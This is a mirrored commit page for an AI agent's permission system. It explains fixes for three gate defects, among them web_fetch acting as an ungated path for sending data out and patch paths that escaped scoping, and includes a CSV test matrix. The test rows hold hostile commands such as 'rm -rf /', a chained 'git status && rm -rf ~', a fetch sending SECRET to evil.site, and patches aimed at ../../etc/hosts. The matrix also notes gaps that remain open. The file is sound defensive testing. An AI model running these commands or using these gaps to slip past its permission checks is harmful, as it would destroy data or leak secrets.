mirror of
https://github.com/andrewyng/openworker.git
synced 2026-09-10 22:20:27 +00:00
Three gate defects, each verified by direct execution before and after. 1. web_fetch was RiskClass.READ, so is_consequential() was False and evaluate() returned allow on its third rung -- before any rule, mode or PDP, in EVERY mode including plan/discuss. A URL's query string carries data outbound, so this was an ungated egress path. New RiskClass.EGRESS covers model-chosen network reads; web_search stays READ (fixed configured provider, not a model-chosen host). Adds an allowed_domains allowlist (exact host or subdomain; 'evil-python.org' never matches 'python.org'), a session-scoped "always allow this domain" grant, and ApprovalOutcome.ALWAYS_DOMAIN. 2. A risk override could DOWNGRADE a built-in: marking write_file as read made is_write False (skipping path scoping) and consequential False (skipping the read-only gate) at once -- one settings line disabling two protections, in every future session. Overrides may now only tighten a built-in write/exec/ egress tool; relaxing a metadata/MCP tool (the intended use) still works. 3. Path scoping read a literal "path" argument, so apply_patch and apply_unified_diff -- whose paths live inside the patch/diff blob -- were never scoped at all. write_paths() extracts them from the blob and scopes every one; a write whose path cannot be located now fails closed to approval rather than slipping through auto/custom unscoped. allowed_domains is user-global only, alongside auto_allow: a cloned repo must not be able to widen the agent's network reach. Golden matrix: web_fetch interactive allow->ask, plan allow->deny, plus new egress/patch rows (31 rows green). test_permissions_risk's override test asserted the old downgrade behavior and is updated to the tightening rule. Full suite: 22 failures, all pre-existing on the unmodified tree (boto3 absent, Windows symlink privilege, Slack socket timeouts) -- none introduced here. Design of record: ocw-context/docs/reviewed-auto-mode.md Part 3.
4.2 KiB
4.2 KiB
| 1 | id | mode | tool | args | meta | allowed_commands | session_tools | session_commands | standing | auto_allow | allowed_domains | expected | note |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2 | read-interactive | interactive | read_file | {"path": "a.txt"} | allow | pure local read always runs | |||||||
| 3 | read-plan | plan | read_file | {"path": "a.txt"} | allow | reads allowed in read-only modes | |||||||
| 4 | write-interactive | interactive | write_file | {"path": "a.txt", "content": "x"} | ask | write in-root asks | |||||||
| 5 | write-escape-rel | interactive | write_file | {"path": "../../escape.txt", "content": "x"} | deny | write outside writable root blocked | |||||||
| 6 | write-escape-abs | interactive | write_file | {"path": "C:/Windows/evil.ini", "content": "x"} | deny | absolute path outside root blocked | |||||||
| 7 | write-plan | plan | write_file | {"path": "a.txt", "content": "x"} | deny | plan mode is read-only | |||||||
| 8 | write-auto | auto | write_file | {"path": "a.txt", "content": "x"} | allow | auto allows in-root write | |||||||
| 9 | write-auto-escape | auto | write_file | {"path": "../../escape.txt", "content": "x"} | deny | auto still path-scopes writes | |||||||
| 10 | write-custom-autoallow | custom | write_file | {"path": "a.txt", "content": "x"} | write_file | allow | custom mode auto-approves configured tool | ||||||
| 11 | write-custom-notlisted | custom | write_file | {"path": "a.txt", "content": "x"} | ask | custom mode still asks for unlisted tool | |||||||
| 12 | shell-interactive | interactive | run_shell | {"command": "pytest -q"} | ask | shell asks by default | |||||||
| 13 | shell-allowlist-prefix | interactive | run_shell | {"command": "git status -s"} | git status | allow | command matches allowlist prefix | ||||||
| 14 | shell-allowlist-chained | interactive | run_shell | {"command": "git status && rm -rf ~"} | git status | ask | operator disqualifies the chained command | ||||||
| 15 | shell-session-command | interactive | run_shell | {"command": "make build"} | make build | allow | exact session command grant | ||||||
| 16 | shell-plan | plan | run_shell | {"command": "ls"} | deny | plan mode blocks shell | |||||||
| 17 | shell-auto | auto | run_shell | {"command": "rm -rf /"} | allow | BASELINE-WRONG auto allows any command with no sandbox | |||||||
| 18 | shell-find-delete | interactive | run_shell | {"command": "find . -delete"} | find | allow | BASELINE-WRONG find prefix auto-allows a destructive form | ||||||
| 19 | shell-find-exec | interactive | run_shell | {"command": "find . -exec rm {} +"} | find | allow | BASELINE-WRONG find -exec auto-allowed via prefix | ||||||
| 20 | shell-two-reads | interactive | run_shell | {"command": "git status && git diff"} | git status|git diff | ask | BASELINE-ANNOYING two allowed reads rejected for the operator | ||||||
| 21 | connector-read | interactive | gmail_list | {} | read | allow | connector read never gates | ||||||
| 22 | connector-write | interactive | gmail_send | {} | external | ask | connector write asks | ||||||
| 23 | connector-always-ignored | interactive | gmail_send | {} | external | gmail_send | ask | session tool grant deliberately ignored for connectors | |||||
| 24 | standing-match | interactive | send_message | {"target": "slack:T1/C1", "text": "hi"} | external | send_message slack:T1/C1 | allow | standing rule matches the exact target | |||||
| 25 | standing-mismatch | interactive | send_message | {"target": "slack:T1/C2", "text": "hi"} | external | send_message slack:T1/C1 | ask | standing rule does not cover a different target | |||||
| 26 | webfetch-interactive | interactive | web_fetch | {"url": "https://evil.site/log?d=SECRET"} | ask | FIXED-PR1 web_fetch is egress so now asks in interactive | |||||||
| 27 | webfetch-plan | plan | web_fetch | {"url": "https://evil.site/log?d=SECRET"} | deny | FIXED-PR1 egress is not a read so plan mode blocks it | |||||||
| 28 | webfetch-auto | auto | web_fetch | {"url": "https://evil.site/log?d=SECRET"} | allow | auto allows egress | |||||||
| 29 | webfetch-allowed-domain | interactive | web_fetch | {"url": "https://docs.python.org/3/x"} | python.org | allow | egress to a config-allowed domain (subdomain match) | ||||||
| 30 | webfetch-session-domain | interactive | web_fetch | {"url": "https://api.github.com/x"} | ask | egress to an unlisted domain still asks | |||||||
| 31 | patch-escape | auto | apply_patch | {"patch": "*** Begin Patch\n*** Update File: ../../etc/hosts\n@@\n-a\n+b\n*** End Patch"} | deny | FIXED-PR1 apply_patch path extracted from blob and scoped even in auto | |||||||
| 32 | patch-inroot | auto | apply_patch | {"patch": "*** Begin Patch\n*** Update File: src/app.py\n@@\n-a\n+b\n*** End Patch"} | allow | apply_patch to an in-root path allowed in auto |